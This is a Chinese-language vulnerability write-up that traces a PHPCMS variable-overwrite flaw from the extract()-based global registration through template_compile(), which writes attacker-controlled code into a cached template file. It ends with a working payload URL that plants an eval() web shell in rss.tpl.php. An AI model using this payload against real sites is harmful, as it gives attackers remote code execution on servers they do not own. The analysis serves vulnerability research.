在说这个漏洞之前,我们先需要了解phpcms的一个机制,就是类似于全局变量注册的一个东西,方便于程序员的开发,很多的CMS都会通过代码实现这样一套机制.
这套机制类似于早先php版本中的register_globals,后来因为安全问题,在5.30后被废除了,因此很多cms自己实现,但因为安全问题,这样机制一般会经过比较严格的过滤.
我们来看phpcms,在common.inc.php中,通过
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
来实现了全局变量注册,如果没有开启gpc,则通过一个escape函数对传入变量进行转义,我们看看这个escape函数
function escape($string)
{
if(!is_array($string)) return str_replace(array('\n', '\r'), array(chr(10), chr(13)), mysql_real_escape_string(preg_replace($this->search, $this->replace, $string), $this->connid));
foreach($string as $key=>$val) $string[$key] = $this->escape($val);
return $string;
}
常规过滤操作,主要是一个针对sql注入的mysql_real_escape_string函数,其它没什么好说的,接下来我们看看漏洞点type.php
require dirname(__FILE__).'/include/common.inc.php';
$typeid = intval($typeid);
if(!empty($typeid) && !isset($TYPE[$typeid]))
{
showmessage('访问的类别不存在!');
}
elseif(isset($TYPE[$typeid]))
{
$T = cache_read('type_'.$typeid.'.php');
extract($T);
$head['title'] = $T['name'].'_'.$PHPCMS['sitename'];
$head['keywords'] = $T['name'];
$head['description'] = strip_tags($description);
}
if(empty($template)) $template = 'type';
$head['title'] = '类别首页_'.$PHPCMS['sitename'];
$head['keywords'] = $PHPCMS['meta_keywords'];
$types = array();
foreach($TYPE AS $k=>$v)
{
if($v['module'] != 'phpcms') continue;
$types[$k] = $v;
}
$TYPE = $types;
$ttl = CACHE_PAGE_LIST_TTL;
header('Last-Modified: '.gmdate('D, d M Y H:i:s', TIME).' GMT');
header('Expires: '.gmdate('D, d M Y H:i:s', TIME + $ttl).' GMT');
header('Cache-Control: max-age='.$ttl.', must-revalidate');
include template('phpcms', $template);
cache_page($ttl);
?>
注意$template变量,这个变量在该文件中并未被声明,因此可以通过变量覆盖的方式定义,从代码中可以看到该变量未经任何处理被传入了template函数,跟进一下
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}
$template变量又被放入了template_compile函数中,继续跟
function template_compile($module, $template, $istag = 0)
{
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
}
在其中这句
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$template变量被直接拼接成为$content变量的一部分,然后被
file_put_contents($compiledtplfile, $content);
写入到文件之中,如此便导致了可以写入任意文件,我们在写入的时候,只要保证不被前面提到的mysql_real_escape_string干掉就行了.
执行payload
http://localhost/phpcms/type.php?template=tag_(){};eval($_POST[sai]);{//../rss
在phpcms\data\cache_template\rss.tpl.php
代码中成功插入攻击payload